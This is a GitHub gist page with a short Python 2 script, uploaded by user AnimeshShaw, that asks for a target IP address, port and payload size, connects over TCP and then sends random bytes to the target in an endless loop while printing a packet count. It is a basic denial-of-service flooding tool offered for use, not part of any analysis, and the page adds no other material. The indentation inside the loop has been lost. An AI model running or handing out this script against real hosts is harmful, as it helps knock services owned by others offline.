Skip to content

Instantly share code, notes, and snippets.

@AnimeshShaw
Created February 27, 2014 12:21
Show Gist options
  • Save AnimeshShaw/9249059 to your computer and use it in GitHub Desktop.
Save AnimeshShaw/9249059 to your computer and use it in GitHub Desktop.
import socket
import random
sent=0
socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip=raw_input('Target IP Address: ')
port=input("Please enter a port: ")
num_bytes=input('Please enter data size in bytes: ')
bytes=random._urandom(num_bytes)
addr=(ip,port)
socket.connect(addr)
socket.settimeout(None)
while True:
socket.sendto(bytes,(ip,port))
print ('Sent %s TCP Packets to %s at port %d') % (sent,ip,port)
sent=sent+1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment